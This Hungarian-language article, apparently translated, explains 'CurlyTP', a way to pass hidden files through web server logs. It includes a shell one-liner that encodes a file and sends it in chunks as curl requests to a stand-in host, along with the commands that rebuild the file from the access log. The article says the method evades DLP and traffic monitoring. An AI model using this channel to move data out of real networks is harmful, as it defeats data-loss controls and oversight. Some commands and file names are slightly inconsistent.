Titkos üzenetek cseréje szervernaplókon keresztül

A Wikipédia definíciója szerint a halott csepp egy összeesküvés eszköz, amely arra szolgál, hogy információkat vagy egyes elemeket cseréljenek az emberek között egy titkos hely használatával. Az ötlet az, hogy az emberek soha nem találkoznak, de továbbra is információt cserélnek az üzembiztonság fenntartása érdekében.

A rejtekhelynek nem szabad magára vonnia a figyelmet. Ezért az offline világban gyakran használnak diszkrét dolgokat: egy laza téglát a falban, egy könyvtári könyvet vagy egy üreget a fában.

Az interneten számos titkosítási és anonimizálási eszköz található, de ezeknek az eszközöknek a használatának ténye vonzza a figyelmet. Ezenkívül vállalati vagy kormányzati szinten is letilthatók. Mit kell tenni?

Ryan Flowers fejlesztő egy érdekes lehetőséget javasolt - bármilyen webszervert használjon búvóhelynek. Ha belegondolsz, mit csinál egy webszerver? Kéréseket fogad, fájlokat ad ki és naplókat ír. És naplózza az összes kérést, még a helyteleneket is!

Kiderült, hogy bármely webszerver lehetővé teszi, hogy szinte minden üzenetet elmentsen a naplóban. Flowers azon töprengett, hogyan kell ezt használni.

Ezt a lehetőséget kínálja:

  1. Vegyünk egy szöveges fájlt (titkos üzenet), és számítsuk ki a hash-t (md5sum).
  2. Kódoljuk (gzip+uuencode).
  3. A naplóba szándékosan helytelen kéréssel írunk a szervernek.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Egy fájl olvasásához ezeket a műveleteket fordított sorrendben kell végrehajtania: dekódolja és csomagolja ki a fájlt, ellenőrizze a hash-t (a hash biztonságosan továbbítható nyílt csatornákon).

A szóközök helyébe a =+=hogy ne legyen szóköz a címben. A program, amelyet a szerző CurlyTP-nek hív, base64 kódolást használ, mint az e-mail mellékletek. A kérés kulcsszóval történik ?transfer?hogy a címzett könnyen megtalálja a naplókban.

Mit látunk ebben az esetben a naplókban?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Mint már említettük, titkos üzenet fogadásához fordított sorrendben kell végrehajtania a műveleteket:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

A folyamat könnyen automatizálható. Md5sum egyezik, és a fájl tartalma megerősíti, hogy mindent helyesen dekódoltak.

A módszer nagyon egyszerű. „Ennek a gyakorlatnak az a lényege, hogy bebizonyítsuk, hogy a fájlok átvihetők ártatlan kis webes kéréseken keresztül, és minden egyszerű szöveges naplóval rendelkező webszerveren működik. Lényegében minden webszerver egy búvóhely!” – írja Flowers.

Természetesen a módszer csak akkor működik, ha a címzett hozzáfér a szervernaplókhoz. De ilyen hozzáférést például sok hoster biztosít.

Hogyan kell használni?

Ryan Flowers azt mondja, hogy nem információbiztonsági szakértő, és nem fog összeállítani egy listát a CurlyTP lehetséges felhasználásairól. Számára ez csak az elgondolás bizonyítéka, hogy a mindennapi megszokott eszközöket rendhagyó módon lehet használni.

Valójában ennek a módszernek számos előnye van a többi szerverrejtőhöz képest, mint például Digital Dead Drop vagy PirateBox: nem igényel speciális szerveroldali konfigurációt vagy semmilyen speciális protokollt - és nem ébreszt gyanút a forgalmat figyelőkben. Nem valószínű, hogy egy SORM vagy DLP rendszer tömörített szövegfájlokat keres az URL-ekben.

Ez az üzenetek szolgáltatásfájlokon keresztüli továbbításának egyik módja. Emlékezhet arra, hogyan helyezkedtek el egyes fejlett cégek Fejlesztői feladatok HTTP-fejlécekben vagy a HTML oldalak kódjában.

Titkos üzenetek cseréje szervernaplókon keresztül

Az ötlet az volt, hogy csak a webfejlesztők látják ezt a húsvéti tojást, mivel egy normális ember nem nézi a fejléceket vagy a HTML-kódot.

Titkos üzenetek cseréje szervernaplókon keresztül

Forrás: will.com

Hozzászólás